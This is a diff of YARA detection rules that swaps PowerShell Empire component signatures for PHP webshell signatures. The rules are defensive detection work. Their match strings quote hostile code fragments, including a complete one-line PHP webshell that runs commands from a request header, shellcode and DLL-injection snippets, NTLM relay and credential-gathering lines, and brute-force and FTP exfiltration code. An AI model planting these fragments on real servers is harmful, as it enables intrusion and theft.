-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "074423d30c5ef419d1ca9433477d8a896086cec84eb939270ce51d3965b6b1a2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6205-L6221"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "64d4495875a809b2730bd93bec2e33902ea80a53"
+		logic_hash = "c58edc548b7804be25f6956e9407cc9f8c74dfd8651f601a87ba639284e612d9"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
-		hash2 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
-		hash3 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
-		hash4 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
-		hash5 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
 
 	strings:
-		$s1 = "Write-BytesToMemory -Bytes $Shellcode" ascii
-		$s2 = "$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)" fullword ascii
+		$s0 = " if (isset($_FILES['probe']) and ! $_FILES['probe']['error']) {" fullword
+		$s1 = "<b>--Coded by Silver" fullword
+		$s2 = "<title>Upload - Shell/Datei</title>" fullword
+		$s8 = "<a href=\"http://www.n-c-c.6x.to\" target=\"_blank\">-->NCC<--</a></center></b><"
+		$s14 = "~|_Team .:National Cracker Crew:._|~<br>" fullword
+		$s18 = "printf(\"Sie ist %u Bytes gro" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
+		3 of them
 }
-rule SIGNATURE_BASE_Empire_Powerup_Gen : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_README
 {
 	meta:
-		description = "Detects Empire component - from files PowerUp.ps1, PowerUp.ps1"
+		description = "PHP Webshells Github Archive - file README.md"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ae6b0462-7193-54a4-8fb9-befc1b461b15"
-		date = "2016-11-05"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L392-L407"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4086b057b46cac85bb871d2d4363d4ae4c99a160e5c9625e4d41e3df55fece2d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6222-L6234"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ef2c567b4782c994db48de0168deb29c812f7204"
+		logic_hash = "aa8a9be74bbac08518d5ba442aa6fa37d3f1b255df48b49ccb9842f5728a49d5"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "ad9a5dff257828ba5f15331d59dd4def3989537b3b6375495d0c08394460268c"
 
 	strings:
-		$s1 = "$Result = sc.exe config $($TargetService.Name) binPath= $OriginalPath" fullword ascii
-		$s2 = "$Result = sc.exe pause $($TargetService.Name)" fullword ascii
+		$s0 = "Common php webshells. Do not host the file(s) in your server!" fullword
+		$s1 = "php-webshells" fullword
 
 	condition:
-		( uint16(0)==0x233c and filesize <2000KB and 1 of them ) or all of them
+		all of them
 }
-rule SIGNATURE_BASE_Empire_Powershell_Framework_Gen2 : FILE
+rule SIGNATURE_BASE_Webshell_Backupsql
 {
 	meta:
-		description = "Detects Empire component"
+		description = "PHP Webshells Github Archive - file backupsql.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eab277ca-0dd4-5035-82aa-1ac2120bac94"
-		date = "2016-11-05"
+		id = "15d6e967-1e53-53b4-a2cf-7786452495d4"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L409-L428"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e3cb63d0c3278ee4d04cb4b1d6ebe817fb3da97d25e2581f95bd43ecd5142b30"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6235-L6250"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "863e017545ec8e16a0df5f420f2d708631020dd4"
+		logic_hash = "0126bfad6eb3861e8322ac3e11b4fd95bc8b88597d916e66c6646d7d5529c1d5"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
-		hash3 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
-		hash5 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
-		hash6 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
-		hash8 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
 
 	strings:
-		$x1 = "$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)" fullword ascii
-		$s20 = "#Shellcode: CallDllMain.asm" fullword ascii
+		$s0 = "$headers .= \"\\nMIME-Version: 1.0\\n\" .\"Content-Type: multipart/mixed;\\n\" ."
+		$s1 = "$ftpconnect = \"ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog"
+		$s2 = "* as email attachment, or send to a remote ftp server by" fullword
+		$s16 = "* Neagu Mihai<neagumihai@hotmail.com>" fullword
+		$s17 = "$from    = \"Neu-Cool@email.com\";  // Who should the emails be sent from?, may "
 
 	condition:
-		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Agent_Gen : FILE
+rule SIGNATURE_BASE_Webshell_AK_74_Security_Team_Web_Shell_Beta_Version
 {
 	meta:
-		description = "Detects Empire component - from files agent.ps1, agent.ps1"
+		description = "PHP Webshells Github Archive - file AK-74 Security Team Web Shell Beta Version.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0fac915c-2502-50da-93d1-f81e9282aa9a"
-		date = "2016-11-05"
+		id = "e93a6ac3-080f-53d3-8368-b9feb509a2ea"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L430-L447"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed8aee7ac6c1d93b21cc1aa5c3c18df1566692c63a010715a3aae65e18fffa60"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6251-L6264"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c90b0ba575f432ecc08f8f292f3013b5532fe2c4"
+		logic_hash = "4fbf8f5cab8593fd88e5a430b849e61d7d663c13700f459aa516c5b337d5438b"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "380fd09bfbe47d5c8c870c1c97ff6f44982b699b55b61e7c803d3423eb4768db"
-		hash2 = "380fd09bfbe47d5c8c870c1c97ff6f44982b699b55b61e7c803d3423eb4768db"
 
 	strings:
-		$s1 = "$wc.Headers.Add(\"User-Agent\",$script:UserAgent)" fullword ascii
-		$s2 = "$min = [int]((1-$script:AgentJitter)*$script:AgentDelay)" fullword ascii
-		$s3 = "if ($script:AgentDelay -ne 0){" fullword ascii
+		$s8 = "- AK-74 Security Team Web Site: www.ak74-team.net" fullword
+		$s9 = "<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>'."
+		$s10 = "<b><font color=#83000>Execute system commands!</font></b>" fullword
 
 	condition:
-		( uint16(0)==0x660a and filesize <100KB and 1 of them ) or all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Empire_Powershell_Framework_Gen3 : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Cpanel
 {
 	meta:
-		description = "Detects Empire component"
+		description = "PHP Webshells Github Archive - file cpanel.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b0f7ed41-be65-5e43-aeb1-56e5e7384e8f"
-		date = "2016-11-05"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L449-L467"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "933fe27c54e90806a21082b4d2e4cbb3491374e48834a64c0d6a520c537d145e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6265-L6281"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "433dab17106b175c7cf73f4f094e835d453c0874"
+		logic_hash = "e4dc90c52648f1e5b7dc2d77dcb94feb774ec9e3c156c923c54a9e8f537bbf07"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
-		hash2 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
-		hash3 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
-		hash4 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
 
 	strings:
-		$s1 = "if (($PEInfo.FileType -ieq \"DLL\") -and ($RemoteProcHandle -eq [IntPtr]::Zero))" fullword ascii
-		$s2 = "remote DLL injection" ascii
+		$s0 = "function ftp_check($host,$user,$pass,$timeout){" fullword
+		$s3 = "curl_setopt($ch, CURLOPT_URL, \"http://$host:2082\");" fullword
+		$s4 = "[ user@alturks.com ]# info<b><br><font face=tahoma><br>" fullword
+		$s12 = "curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);" fullword
+		$s13 = "Powerful tool , ftp and cPanel brute forcer , php 5.2.9 safe_mode & open_basedir"
+		$s20 = "<br><b>Please enter your USERNAME and PASSWORD to logon<br>" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Inveighrelay_Gen : FILE
+rule SIGNATURE_BASE_Webshell_Accept_Language
 {
 	meta:
-		description = "Detects Empire component - from files Invoke-InveighRelay.ps1, Invoke-InveighRelay.ps1"
+		description = "PHP Webshells Github Archive - file accept_language.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0adebf6f-99e1-5461-8efc-e4660faf6d5d"
-		date = "2016-11-05"
+		id = "343ed2a4-4bed-5e73-8d05-f9573b0147af"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L469-L484"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "183a0afa9233e380471ddfa8f85e6c6555d69c785c9a4e8791e19432b6849558"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6282-L6293"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "180b13576f8a5407ab3325671b63750adbcb62c9"
+		logic_hash = "6d45071722268f5b39b1486a7dce883ecefb2b3c9993357b7b58bd603ff1c40d"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash2 = "21b90762150f804485219ad36fa509aeda210d46453307a9761c816040312f41"
 
 	strings:
-		$s1 = "$inveigh.SMBRelay_failed_list.Add(\"$HTTP_NTLM_domain_string\\$HTTP_NTLM_user_string $SMBRelayTarget\")" fullword ascii
-		$s2 = "$NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes)" fullword ascii
+		$s0 = "<?php passthru(getenv(\"HTTP_ACCEPT_LANGUAGE\")); echo '<br> by q1w2e3r4'; ?>" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <200KB and 1 of them ) or all of them
+		all of them
 }
-rule SIGNATURE_BASE_Empire_Keepassconfig_Gen : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_529
 {
 	meta:
-		description = "Detects Empire component - from files KeePassConfig.ps1, KeePassConfig.ps1"
+		description = "PHP Webshells Github Archive - file 529.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e2bc88c5-50f8-5ddc-a449-41929b1d0528"
-		date = "2016-11-05"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L486-L500"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "986f299d2b6e2ec47acae09d8a25b6c45caf83c964208c594433308cd11ad264"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6294-L6311"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ba3fb2995528307487dff7d5b624d9f4c94c75d3"
+		logic_hash = "f46b84d51077f157c83cd01534dfe7f9cd0d9ef04ad9935ced22d2abc873c171"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash2 = "5a76e642357792bb4270114d7cd76ce45ba24b0d741f5c6b916aeebd45cff2b3"
 
 	strings:
-		$s1 = "$KeePassXML = [xml](Get-Content -Path $KeePassXMLPath)" fullword ascii
+		$s0 = "<p>More: <a href=\"/\">Md5Cracking.Com Crew</a> " fullword
+		$s7 = "href=\"/\" title=\"Securityhouse\">Security House - Shell Center - Edited By Kin"
+		$s9 = "echo '<PRE><P>This is exploit from <a " fullword
+		$s10 = "This Exploit Was Edited By KingDefacer" fullword
+		$s13 = "safe_mode and open_basedir Bypass PHP 5.2.9 " fullword
+		$s14 = "$hardstyle = explode(\"/\", $file); " fullword
+		$s20 = "while($level--) chdir(\"..\"); " fullword
 
 	condition:
-		( uint16(0)==0x7223 and filesize <80KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Portscan_Gen : FILE
+rule SIGNATURE_BASE_Webshell_STNC_Webshell_V0_8
 {
 	meta:
-		description = "Detects Empire component - from files Invoke-Portscan.ps1, Invoke-Portscan.ps1"
+		description = "PHP Webshells Github Archive - file STNC WebShell v0.8.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c2e01780-02d2-57d1-b38e-5c345ebccad6"
-		date = "2016-11-05"
+		id = "5dc300a2-9965-52e3-a382-b8d327eb7029"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L502-L517"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "05e786dc42ee5ec56197803577d104595ad6554e028b7633b2f7fdf55a63e27c"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6312-L6325"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "52068c9dff65f1caae8f4c60d0225708612bb8bc"
+		logic_hash = "c2067a1b78c441aa05366b612090e0df895c621843038cc9e65beb6719c0cb9a"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash2 = "cf7030be01fab47e79e4afc9e0d4857479b06a5f68654717f3bc1bc67a0f38d3"
 
 	strings:
-		$s1 = "Test-Port -h $h -p $Port -timeout $Timeout" fullword ascii
-		$s2 = "1 {$nHosts=10;  $Threads = 32;   $Timeout = 5000 }" fullword ascii
+		$s3 = "if(isset($_POST[\"action\"])) $action = $_POST[\"action\"];" fullword
+		$s8 = "elseif(fe(\"system\")){ob_start();system($s);$r=ob_get_contents();ob_end_clean()"
+		$s13 = "{ $pwd = $_POST[\"pwd\"]; $type = filetype($pwd); if($type === \"dir\")chdir($pw"
 
 	condition:
-		( uint16(0)==0x7566 and filesize <100KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Powershell_Framework_Gen4 : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Tryag
 {
 	meta:
-		description = "Detects Empire component"
+		description = "PHP Webshells Github Archive - file tryag.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c390638a-0eb1-576d-a08c-203c31d414f3"
-		date = "2016-11-05"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L519-L545"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "314574a463f9cc772702d5e3358f5280b2805298fedb89c14786518a4832d63b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6326-L6341"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "42d837e9ab764e95ed11b8bd6c29699d13fe4c41"
+		logic_hash = "2af3bbe8d1940e60843f3f5d40c9c6550e76df21568c374f7a871f73aeefae44"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "743c51334f17751cfd881be84b56f648edbdaf31f8186de88d094892edc644a9"
-		hash2 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
-		hash3 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
-		hash4 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
-		hash5 = "304031aa9eca5a83bdf1f654285d86df79cb3bba4aa8fe1eb680bd5b2878ebf0"
-		hash6 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
-		hash7 = "0218be4323959fc6379489a6a5e030bb9f1de672326e5e5b8844ab5cedfdcf88"
-		hash8 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
-		hash9 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
-		hash10 = "fa75cfd57269fbe3ad6bdc545ee57eb19335b0048629c93f1dc1fe1059f60438"
 
 	strings:
-		$s1 = "Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals('System.dll') }" fullword ascii
-		$s2 = "# Get a handle to the module specified" fullword ascii
-		$s3 = "$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))" fullword ascii
-		$s4 = "$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')" fullword ascii
+		$s1 = "<title>TrYaG Team - TrYaG.php - Edited By KingDefacer</title>" fullword
+		$s3 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\"; " fullword
+		$s6 = "$string = !empty($_POST['string']) ? $_POST['string'] : 0; " fullword
+		$s7 = "$tabledump .= \"CREATE TABLE $table (\\n\"; " fullword
+		$s14 = "echo \"<center><div id=logostrip>Edit file: $editfile </div><form action='$REQUE"
 
 	condition:
-		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
+		3 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Credentialinjection_Invoke_Mimikatz_Gen : FILE
+rule SIGNATURE_BASE_Webshell_Dc3_Security_Crew_Shell_Priv_2
 {
 	meta:
-		description = "Detects Empire component - from files Invoke-CredentialInjection.ps1, Invoke-Mimikatz.ps1"
+		description = "PHP Webshells Github Archive - file dC3 Security Crew Shell PRiV.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d938aadf-6924-5964-9b5a-6bd1b817349f"
-		date = "2016-11-05"
+		id = "1d4a95c4-8128-504d-958f-dcc5c68f4975"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L547-L563"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3210b4407c3209a20d74c8c5af66077cc9b902912ae49253883b7acd87eef1f9"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6342-L6357"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9077eb05f4ce19c31c93c2421430dd3068a37f17"
+		logic_hash = "52dc0449c205ff9105e2dedc3cb4858f83a2efc7bae579656a26da493dc59500"
 		score = 75
-		quality = 60
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "1be3e3ec0e364db0c00fad2c59c7041e23af4dd59c4cc7dc9dcf46ca507cd6c8"
-		hash2 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
 
 	strings:
-		$s1 = "$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle" fullword ascii
-		$s2 = "$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs" fullword ascii
+		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
+		$s9 = "header(\"Last-Modified: \".date(\"r\",filemtime(__FILE__)));" fullword
+		$s13 = "header(\"Content-type: image/gif\");" fullword
+		$s14 = "@copy($file,$to) or die (\"[-]Error copying file!\");" fullword
+		$s20 = "if (isset($_GET['rename_all'])) {" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
+		3 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Gen : FILE
+rule SIGNATURE_BASE_Webshell_Qsd_Php_Backdoor
 {
 	meta:
-		description = "Detects Empire component - from files Invoke-DCSync.ps1, Invoke-PSInject.ps1, Invoke-ReflectivePEInjection.ps1"
+		description = "PHP Webshells Github Archive - file qsd-php-backdoor.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "913f971d-e4e3-55e9-904b-82b25a4e6f0f"
-		date = "2016-11-05"
+		id = "f8208851-159c-5d0b-91ad-478aeb4fc9fd"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L565-L582"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "11d00ea1f40d34cfd3417db337a01eca39b0e77049f74f0c591cd1d388a8d194"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L6358-L6372"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4856bce45fc5b3f938d8125f7cdd35a8bbae380f"
+		logic_hash = "3ef7b67cd60370a99fdfa6fd614f71ee314af27c9d983383dde8f03a127a28b3"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "a3428a7d4f9e677623fadff61b2a37d93461123535755ab0f296aa3b0396eb28"
-		hash2 = "61e5ca9c1e8759a78e2c2764169b425b673b500facaca43a26c69ff7e09f62c4"
-		hash3 = "eaff29dd0da4ac258d85ecf8b042d73edb01b4db48c68bded2a8b8418dc688b5"
 
 	strings:
-		$s1 = "$Shellcode1 += 0x48" fullword ascii
-		$s2 = "$PEHandle = [IntPtr]::Zero" fullword ascii
+		$s1 = "// A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.c"
+		$s2 = "if(isset($_POST[\"newcontent\"]))" fullword
+		$s3 = "foreach($parts as $val)//Assemble the path back together" fullword
+		$s7 = "$_POST[\"newcontent\"]=urldecode(base64_decode($_POST[\"newcontent\"]));" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <3000KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Powershell_Framework_Gen5 : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Spygrup
 {
 	meta:
-		description = "Detects Empire component"
+		description = "PHP Webshells Github Archive - file spygrup.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4c23592e-5788-5b84-995a-028142cbc52f"
-		date = "2016-11-05"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L584-L601"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "115fffabb09ed00ab46c6f980c3a7727070a303cafa900cc1ce04e3999b6b70e"
+		reference = "https://github.com/Neo23x0/signature-base"
